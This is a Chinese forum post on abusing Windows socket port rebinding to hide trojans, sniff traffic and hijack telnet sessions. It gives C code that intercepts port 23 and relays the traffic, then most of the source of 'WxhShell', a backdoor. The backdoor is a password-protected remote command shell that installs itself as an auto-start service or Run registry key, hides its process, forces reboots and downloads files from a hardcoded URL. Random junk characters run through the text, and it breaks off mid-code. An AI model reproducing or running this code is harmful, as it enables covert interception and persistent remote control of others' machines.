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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _SkLYL!=9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x,Vr=FB  
RG`1en  
  saddr.sin_family = AF_INET; =g|FT  
=tY T8Q;al  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |Q>IrT  
IE~ |iQ?-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >LuYHr  
#_lDss  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e>7i_4(C  
T[j,UkgGo  
  这意味着什么?意味着可以进行如下的攻击: u#SWj,X  
k VQ\1!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Aiea\j Bv  
Wm5 dk9&x  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rVsJ`+L  
ig &Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A5w6]:f2  
PUX;I0Cf  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  as=LIw}Q4  
H>@+om  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W@!S%Y9  
OZ!^ak  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4E?Oky#}-  
S21,VpW\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 t0 ?\l)  
VLN_w$iEq  
  #include e?f IXk~b  
  #include #R RRu2  
  #include 7=, ;h  
  #include    wec)Ctj+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lb1Xsgm{  
  int main() 5*D/%]YsD  
  { s"?3]P  
  WORD wVersionRequested; b>9>uC@J15  
  DWORD ret; }:#P)8/v>%  
  WSADATA wsaData; =mmWl9'mJ  
  BOOL val; b<u3 hln%,  
  SOCKADDR_IN saddr; HUOj0T  
  SOCKADDR_IN scaddr; B?o7e<l[  
  int err; #cLBQJq  
  SOCKET s; BFW&2  
  SOCKET sc; +d-NL?c  
  int caddsize; OK g qT!  
  HANDLE mt; 76` .Y  
  DWORD tid;   ,,|^%Ct']  
  wVersionRequested = MAKEWORD( 2, 2 ); ei5~&  
  err = WSAStartup( wVersionRequested, &wsaData ); 4nz35BLr  
  if ( err != 0 ) { z&^&K}  
  printf("error!WSAStartup failed!\n"); YT8F#t8  
  return -1; c6/=Gq{.  
  } ;ovP$ vl>  
  saddr.sin_family = AF_INET; W+1^4::+  
   H7+,*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 & "B=/-(  
Jpo (Wl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /|&*QLy  
  saddr.sin_port = htons(23); kz7(Z'pw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Fea(zJ_  
  { /JU.?M35  
  printf("error!socket failed!\n"); IdxzE_@  
  return -1; vSLtFMq^(  
  } G<;*SYAb  
  val = TRUE; c_l"I9M#r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ji,kkipY?w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RY*U"G0#w  
  { qb` \)X]9  
  printf("error!setsockopt failed!\n"); EDs\,f}  
  return -1; ,3 u}x,  
  } B4 8={  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,wdD8ZT'Ip  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8SS|a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h3@v+Z<}  
HiJE}V;Vq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $7A8/#  
  { 7i1q wRv  
  ret=GetLastError(); 7 x?<*T  
  printf("error!bind failed!\n"); 8kDp_s i  
  return -1; b*Q&CL  
  } r-/`"j{O!  
  listen(s,2); R_S.tT!  
  while(1) ]:/Q]n^  
  { lCHO;7YHX  
  caddsize = sizeof(scaddr); *s iFj CN<  
  //接受连接请求 -+-_I*(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <yg F(  
  if(sc!=INVALID_SOCKET) &XUiKnNW  
  { >~+ELVB&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *EwR!L*  
  if(mt==NULL) 0S$N05  
  { VTHH&$ZNq  
  printf("Thread Creat Failed!\n"); s=/v';5J2!  
  break; 57'4ljvYi  
  } 2jCfT>`3  
  } KdbHyg<4  
  CloseHandle(mt); H~z`]5CN  
  } mXfXO*Cnp  
  closesocket(s); VBcPu  
  WSACleanup(); i8HTzv"J  
  return 0; {U !g.rh  
  }   DrK{}uM  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8BNi1Qn$  
  { I ?.^ho  
  SOCKET ss = (SOCKET)lpParam; LvYB7<zk>  
  SOCKET sc; -!]ZMi9  
  unsigned char buf[4096]; ?p8_AL'RS  
  SOCKADDR_IN saddr; >t_6B~x9  
  long num; 5rZ  
  DWORD val; F`]2O:[  
  DWORD ret; WQO) =n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G9<X_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /fV;^=:8c  
  saddr.sin_family = AF_INET; q?/a~a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "|KP'<8%  
  saddr.sin_port = htons(23); w_u\sSQ`!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OJy#w{4  
  { 3>VL}Ui}  
  printf("error!socket failed!\n"); CF5`-wj/#  
  return -1; (7=9++uU  
  } %vi<Ase g  
  val = 100; As<bL:>dE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jo23P.#<  
  { UU0,!?o4  
  ret = GetLastError(); 8E]F$.6U  
  return -1; RhLVg~x  
  } ZO c)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o J;$sj  
  { UN<]N76!  
  ret = GetLastError(); Gjo`&#  
  return -1; qPfQy  
  } lQkQ9##*   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2x0<&Xy#P  
  { G+|` 2an  
  printf("error!socket connect failed!\n"); /J6rv((  
  closesocket(sc); 0}q uG^%_  
  closesocket(ss); EG |A_m85  
  return -1; e.V:)7Uc  
  } PBkt~=j  
  while(1) ,{?%m6.lE  
  { tT?cBg{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vn"{I&L+w0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !ff&W1@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WlBc.kFck  
  num = recv(ss,buf,4096,0); R`^_(yn>  
  if(num>0) hSyql  
  send(sc,buf,num,0); N7R!C)!IL  
  else if(num==0) F6 flIG&h  
  break; ;cN{a&  
  num = recv(sc,buf,4096,0); >[=^_8M  
  if(num>0) 9j:"J` '  
  send(ss,buf,num,0); E\pL!c  
  else if(num==0) \&gB)czEO  
  break; :'*~uJrR  
  } 3y8G?LL/[7  
  closesocket(ss); 5 5c|O  
  closesocket(sc); q;>7*Y&  
  return 0 ; M}v/tRI  
  } |64~ K\X  
+pn N!:q  
}s<4{:cv+  
========================================================== ><HE;cVg?  
l}sjD[2  
下边附上一个代码,,WXhSHELL W'+:'_{j:  
n3 r3"~i  
========================================================== :@A9](gI  
_8UDT^?8,  
#include "stdafx.h" M%;hB*9  
L.0mk_&  
#include <stdio.h> 3]3|  
#include <string.h> v9O~@v{=  
#include <windows.h> H@8sNV/u  
#include <winsock2.h> gn".u!9j  
#include <winsvc.h> m<"WDU?y;  
#include <urlmon.h> HcSXsF  
Y,t={HiclX  
#pragma comment (lib, "Ws2_32.lib") ,0HRAmG  
#pragma comment (lib, "urlmon.lib") F,)%?<!I  
 0$fpIz  
#define MAX_USER   100 // 最大客户端连接数 i3'9>"`  
#define BUF_SOCK   200 // sock buffer k4y 'b  
#define KEY_BUFF   255 // 输入 buffer 5>N2:9We  
1gN=-AC  
#define REBOOT     0   // 重启 !LN?PKJ  
#define SHUTDOWN   1   // 关机 s'J:f$flS  
xw2[d+mB  
#define DEF_PORT   5000 // 监听端口 d;9FB[MmOJ  
ls:w8 &`*  
#define REG_LEN     16   // 注册表键长度 ~d*(=G  
#define SVC_LEN     80   // NT服务名长度 {v ;&5!s  
o:P}Wg/NK  
// 从dll定义API 2/=l|!JKLz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cI?8RF(;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dNL(G%Qj+"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M>ruKHipFE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @8rx`9  
G@jZ)2  
// wxhshell配置信息 :~N-.#  
struct WSCFG { .j<]mUY  
  int ws_port;         // 监听端口 .I0qGg  
  char ws_passstr[REG_LEN]; // 口令 Jk=I^%~  
  int ws_autoins;       // 安装标记, 1=yes 0=no <oA7'|Bu<  
  char ws_regname[REG_LEN]; // 注册表键名 2OR{[L*  
  char ws_svcname[REG_LEN]; // 服务名 1--C~IjJ+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A='N=^Pm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fbKkq.w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KP5C} ZK+s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q0R -7O(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,a]?S^:y]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NDlF0f  
jeH~<t{  
}; .Blf5b  
n'kG] Q  
// default Wxhshell configuration =Bhe'.]QSx  
struct WSCFG wscfg={DEF_PORT, fd<:_f]v  
    "xuhuanlingzhe", =sJ7=39  
    1, EZ$>.iy{  
    "Wxhshell", -0{r>,&Mm  
    "Wxhshell", ?3zc=J"t  
            "WxhShell Service", \VyZ  
    "Wrsky Windows CmdShell Service", "8^ Ch{G-  
    "Please Input Your Password: ", v)t:|Q{I  
  1, Zxs|%bQ  
  "http://www.wrsky.com/wxhshell.exe", !()$8  
  "Wxhshell.exe" wL 4dTc  
    }; Mh/dpb\Z  
,*hLFaR-  
// 消息定义模块 pRIhFf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p=GBUII #  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @ljA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _ff`y  
char *msg_ws_ext="\n\rExit."; nR}sNl1  
char *msg_ws_end="\n\rQuit."; yt=3sq  
char *msg_ws_boot="\n\rReboot..."; 7gvnl~C(  
char *msg_ws_poff="\n\rShutdown...";  SVs_dG$  
char *msg_ws_down="\n\rSave to "; 6NM:DI\%  
i}mVQ\j5  
char *msg_ws_err="\n\rErr!"; RcM/!,B  
char *msg_ws_ok="\n\rOK!"; ?Unb? {,&2  
:f}9($  
char ExeFile[MAX_PATH]; *|C^=*j9  
int nUser = 0; T;y>>_,  
HANDLE handles[MAX_USER]; >dG;w6y'  
int OsIsNt; b TM{l.Aq3  
%GA"GYL9'  
SERVICE_STATUS       serviceStatus; evAMJ=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,3p~w5C/+[  
BJsz2t :0  
// 函数声明 pg.ri64H<  
int Install(void); >qjq=Ege  
int Uninstall(void); F{Jw ^\  
int DownloadFile(char *sURL, SOCKET wsh); N OiN^::m  
int Boot(int flag); ,p2s:&"  
void HideProc(void); !K}~/9Z=m  
int GetOsVer(void); JedmaY06=  
int Wxhshell(SOCKET wsl); L> 9V&\  
void TalkWithClient(void *cs); M&@b><B  
int CmdShell(SOCKET sock); +*T7@1  
int StartFromService(void); Dhw(#{N  
int StartWxhshell(LPSTR lpCmdLine); UU mTOJr  
$M lW4&a|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ax?y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "UGY2skf;  
_w/EP  
// 数据结构和表定义 4UlyxA~   
SERVICE_TABLE_ENTRY DispatchTable[] = w' OXlR  
{ r(aLEJ"u?  
{wscfg.ws_svcname, NTServiceMain}, A3no~)wZn  
{NULL, NULL} l(u.I2^o  
}; Jz.NHiLct1  
y8L D7<1u  
// 自我安装 t2"O  
int Install(void) qnJt5  
{ ?NR A:t(}  
  char svExeFile[MAX_PATH]; iZNts%Y]  
  HKEY key; D 38$`j  
  strcpy(svExeFile,ExeFile); Y/ >&0wj)d  
-UdEeZz.  
// 如果是win9x系统,修改注册表设为自启动 `U)hjQ~pP  
if(!OsIsNt) { u7\J\r4,+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /#-C4"|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R)z4n  
  RegCloseKey(key); {QZUDPPR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *4xat:@{{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SHbtWq}T  
  RegCloseKey(key); ~\.w^*$#Y  
  return 0; M?:c)&$]D  
    } OK6] e3UO  
  } 8XzR wYV  
} L ugn 3+  
else { H!nr^l'+  
`m>*d!h=  
// 如果是NT以上系统,安装为系统服务 ##;Er47@^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 65p?Igb  
if (schSCManager!=0) #H{<gjs]  
{ %K` % *D  
  SC_HANDLE schService = CreateService Y/ee~^YxK'  
  ( `m?c;,\  
  schSCManager, Vf'd*-_!Q<  
  wscfg.ws_svcname, Jd(,/q  
  wscfg.ws_svcdisp, IOoz^/'  
  SERVICE_ALL_ACCESS, j!4et;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a1.Ptf eW|  
  SERVICE_AUTO_START, sqJSSNt  
  SERVICE_ERROR_NORMAL, \ 3?LqJ  
  svExeFile, ?~;:jz|9<'  
  NULL, ]dk8lZ;bo  
  NULL, ("+}=*?OF3  
  NULL, kc @[9eV  
  NULL, zG9Y!SY\-  
  NULL Q7$.LEioN  
  ); @,u/w4  
  if (schService!=0) h0-hT   
  { /D^"X 4!"  
  CloseServiceHandle(schService); ;F#7Px(q  
  CloseServiceHandle(schSCManager); ?) [EO(D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D <&X_  
  strcat(svExeFile,wscfg.ws_svcname); k.^co I5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BV(8y.H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a,+@|TJ,i  
  RegCloseKey(key); *l;B\=KR  
  return 0; y^Kph# F"  
    } 1jPJw3"3h  
  } &S]@Ot<z  
  CloseServiceHandle(schSCManager); N:tY":Hi  
} X 9%'|(tL  
} w@ c87;c  
|- rI@2`  
return 1; rEv*)W  
} t|<NI+H(e  
OD 3f.fT  
// 自我卸载 Z]WnG'3N  
int Uninstall(void) C,NxE5?h  
{ P*@2.#oO  
  HKEY key; 0i|oYaC  
E}_[QEY;Y  
if(!OsIsNt) { 6,LubZFD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wm")[!h)v  
  RegDeleteValue(key,wscfg.ws_regname); (_*5oj -  
  RegCloseKey(key); X*Dj[TD]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W4U@%b do  
  RegDeleteValue(key,wscfg.ws_regname); lGk{LO)  
  RegCloseKey(key); pY~,(s|Qb  
  return 0; n;p:=\uN  
  } T<@cd|`  
} /43-;"%>  
} "+ >SJ~  
else { ,H2D  
f{i8w!O"~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UH>F|3"d  
if (schSCManager!=0) U uM$~qf/K  
{ ;)I'WQ]Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NeBsv= [-  
  if (schService!=0) Ppt2A6W  
  { 80Y\|)  
  if(DeleteService(schService)!=0) { saAxGG  
  CloseServiceHandle(schService);  4)4+M  
  CloseServiceHandle(schSCManager); UMp/ \&0  
  return 0; E)-r+ <l  
  } f%)zg(YlO  
  CloseServiceHandle(schService); 0lsXCr_X  
  } ;k86"W  
  CloseServiceHandle(schSCManager); za9)Q=6FD  
} )VK }m9Ae  
} Za7q$7F7Bc  
P^Q[-e{  
return 1; 6^n0[7  
} k@D0 {z  
I3:[= ,5  
// 从指定url下载文件 OxtOd\0$  
int DownloadFile(char *sURL, SOCKET wsh) l|+BC  
{ ?D)<,  
  HRESULT hr; TLf9>= OVh  
char seps[]= "/"; x]{E)d"!  
char *token; qG/fE'(j&  
char *file; pdb1GDl0q  
char myURL[MAX_PATH]; CGP3qHrXt  
char myFILE[MAX_PATH]; %?hsoj&k  
m8JR@!t7  
strcpy(myURL,sURL); T y@=yA17  
  token=strtok(myURL,seps); ,j ',x\  
  while(token!=NULL) "ZHtR/;  
  { \[>9UC%  
    file=token; %|l8f>3[  
  token=strtok(NULL,seps); w[-Fm+A>  
  } e{9jn>\,a  
j! NO|&k  
GetCurrentDirectory(MAX_PATH,myFILE); -/dEsgO  
strcat(myFILE, "\\"); C4#rA.nF|  
strcat(myFILE, file); ph|ZG6:  
  send(wsh,myFILE,strlen(myFILE),0); Ei3zBS?J)  
send(wsh,"...",3,0); ia{c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vN OH&ja-s  
  if(hr==S_OK) b*mKei  
return 0; >x@P|\  
else lE ;jCN  
return 1; XC3Kh^  
'[(nmx'yVJ  
} M4LktR-[  
Gy Qm/I  
// 系统电源模块 }Y1>(U  
int Boot(int flag) w_4]xgS:  
{ =AEz9d ciS  
  HANDLE hToken; W"xP(7X  
  TOKEN_PRIVILEGES tkp; NO K/<_/  
HFQR ;9]  
  if(OsIsNt) { rJ'I>Q~x6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o:dR5v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i=32KI(%  
    tkp.PrivilegeCount = 1; V' 2EPYB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^Ori| 4}'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l  n }}5Q  
if(flag==REBOOT) { "%QD{z_L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &~f3psA  
  return 0; /Go K}W}  
}  ql&*6KZ"  
else { i_LF`JhEQT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W:VP1 :  
  return 0; 8{Fm[ %"  
} t.hm9}UQ  
  } Vjm_F!S  
  else { M}"r#Plq  
if(flag==REBOOT) { yISD/ g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w*w?S  
  return 0; L1)@z8]   
} tue/4Q#7  
else { =vh8T\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =FBpo2^QB;  
  return 0; qkP/Nl. u  
} /WnE:3G  
} q1hMmMi  
Q7o5R{.oJ  
return 1; N 6O8Wn  
} dd7 =)XT+  
y9;#1:ic  
// win9x进程隐藏模块 qJT0Y/l:(  
void HideProc(void) YY4-bNj[p  
{ b}zBn8l  
VLg EX4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *Wb=WM-.  
  if ( hKernel != NULL ) )yb+M ez  
  { SHqyvF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6=PiVwI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I7\ &Z q  
    FreeLibrary(hKernel); &,-p',\-  
  } #G,XDW2"w  
)Z@-DA*Q-  
return; mg+k'Myo+  
} ~HUZ#rUHm>  
9 K  
// 获取操作系统版本 )3muPMaY  
int GetOsVer(void) $ A-b vL  
{ F}rPY:  
  OSVERSIONINFO winfo; 4W\,y_Q o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XqR{.jF.  
  GetVersionEx(&winfo); T"E(  F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 02]xJo  
  return 1; JFqf;3R  
  else "gNK><  
  return 0; < 3 j~=-  
} hK}bj  
2neRJ  
// 客户端句柄模块 G\Q9IcJ0dY  
int Wxhshell(SOCKET wsl) ^^$vR[7  
{ #Y,A[Y5jX  
  SOCKET wsh; .Tm- g#  
  struct sockaddr_in client; bv\ A,+  
  DWORD myID; Zy wK/D  
IB7tAG8  
  while(nUser<MAX_USER) >3 Ko.3&  
{ n'64;J5  
  int nSize=sizeof(client); Q59/ex  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BxX$5u  
  if(wsh==INVALID_SOCKET) return 1; hZNEv|  
Plz-7fy33  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A:Rw@ B$  
if(handles[nUser]==0) t58m=4  
  closesocket(wsh); TIRHT`"i  
else .~dEUt/|)  
  nUser++; :+kUkb-/  
  } o*7yax  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S[@6Lp3q_  
9|K*G~J  
  return 0; ':;LrTc'K  
} Ww87  
q?VVYZXP  
// 关闭 socket y=o=1(  
void CloseIt(SOCKET wsh) JY4_v>Aob  
{ 2uo8jF.h  
closesocket(wsh); YbvX$/zGu  
nUser--; l:tpL(%  
ExitThread(0); ofEqvoi@  
} {qAu/ixp  
tvWH04T  
// 客户端请求句柄 `QCD$=  
void TalkWithClient(void *cs) !=M/j}  
{ E0bFx5e5fu  
+IsWI;lp  
  SOCKET wsh=(SOCKET)cs; V/UB9)i+  
  char pwd[SVC_LEN]; ._BB+G  
  char cmd[KEY_BUFF]; <jL#>L%%  
char chr[1]; gLCz]D.'  
int i,j; $T)d!$  
vXPuyR<J  
  while (nUser < MAX_USER) { F> Mr<k=@;  
#6FaIq92V  
if(wscfg.ws_passstr) { ECdfLn*c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QBjY&(vY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;^.9#B,<  
  //ZeroMemory(pwd,KEY_BUFF); /2:Q6J  
      i=0; vadM1c*z  
  while(i<SVC_LEN) { 0O ['w<_  
!`h~`-]O  
  // 设置超时 k <}I<Or  
  fd_set FdRead; xhD$e= g  
  struct timeval TimeOut; ?HxS)Pqq  
  FD_ZERO(&FdRead); 'Fzuc^G(d  
  FD_SET(wsh,&FdRead); 5k`e^ARf  
  TimeOut.tv_sec=8; s#Q _Gu  
  TimeOut.tv_usec=0; LsotgQ8   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >\-3P $  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Hrv),Ce  
wL|7mMM,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zuj;T,R;  
  pwd=chr[0]; I! ITM<Z$l  
  if(chr[0]==0xd || chr[0]==0xa) { &.*T\3UO  
  pwd=0; <\xQ7|e  
  break; @{de$ ODu  
  } lvig>0:M  
  i++; G\IocZ3Gz  
    } |x[$3R1@  
IHfSkFz`j  
  // 如果是非法用户,关闭 socket I9s$bRbT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q~CpP9%  
} 8ok7|DJ  
z5I^0'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Lj-{t% }  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $ACe\R/%  
8|_K  
while(1) { dTgM"k  
6 cr^<]v!  
  ZeroMemory(cmd,KEY_BUFF); Uc>LFX& -B  
o[H\{a>  
      // 自动支持客户端 telnet标准   u p7 x)w:  
  j=0; QZ9M{Y/  
  while(j<KEY_BUFF) { vD"_X"v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;C6O3@Q  
  cmd[j]=chr[0]; m>+A*M8  
  if(chr[0]==0xa || chr[0]==0xd) { 7vdHR\#;$  
  cmd[j]=0; 7@\GU]. 2  
  break; *@=fq|6l 2  
  } ^$?7H>=_ha  
  j++; Hm<M@M$aG  
    } w-8)YJ Y  
-{r!M(47  
  // 下载文件 aSxG|OkKy  
  if(strstr(cmd,"http://")) { Ny[s+2?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "Vq@bNtu+  
  if(DownloadFile(cmd,wsh)) y>&VtN{E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )<tzm'Rc  
  else 8:BQHYeJK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oO}>i0ax*  
  } X$ejy/+.  
  else { s:G [Em1  
U &f#V=Rg  
    switch(cmd[0]) { CJtr0M<U+  
  \_)02ZT:  
  // 帮助 ]r]+yM|  
  case '?': { -y9Pn>~V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ed8U;U b  
    break; fa/P%9db  
  } C!oksI  
  // 安装 {[rO2<MkA#  
  case 'i': { 939]8BERt  
    if(Install()) Ig='a"%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hu`L v  
    else CD$u=E ]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'XG:1Bpm  
    break; h7)VJY  
    } 6Eij>{v  
  // 卸载 FDZeIj9uF  
  case 'r': { -+`az)lrp  
    if(Uninstall()) 9 #.<E5:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |A2W8b {]  
    else &P{o{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2"B}}  
    break; LJ:mJ#  
    } 7v.#o4nPK  
  // 显示 wxhshell 所在路径 D6"~fjHh  
  case 'p': { hG< a  
    char svExeFile[MAX_PATH]; :K!GR  
    strcpy(svExeFile,"\n\r"); (0Zrfu^  
      strcat(svExeFile,ExeFile); `,hW;p>-  
        send(wsh,svExeFile,strlen(svExeFile),0); 5>0\e_V  
    break; 0]/,m4a#n  
    } gizmJ:<  
  // 重启 &T5f H!?4  
  case 'b': { []sB^UT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s,{RP0|  
    if(Boot(REBOOT)) Y8{T.\%\+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >}xAg7\^  
    else { h0&>GY;i  
    closesocket(wsh); I%.jc2kK  
    ExitThread(0); & bp#1KR)  
    } ~m009  
    break; f]{1ZU%4  
    } /7!_un9  
  // 关机 >F_qa=t%[  
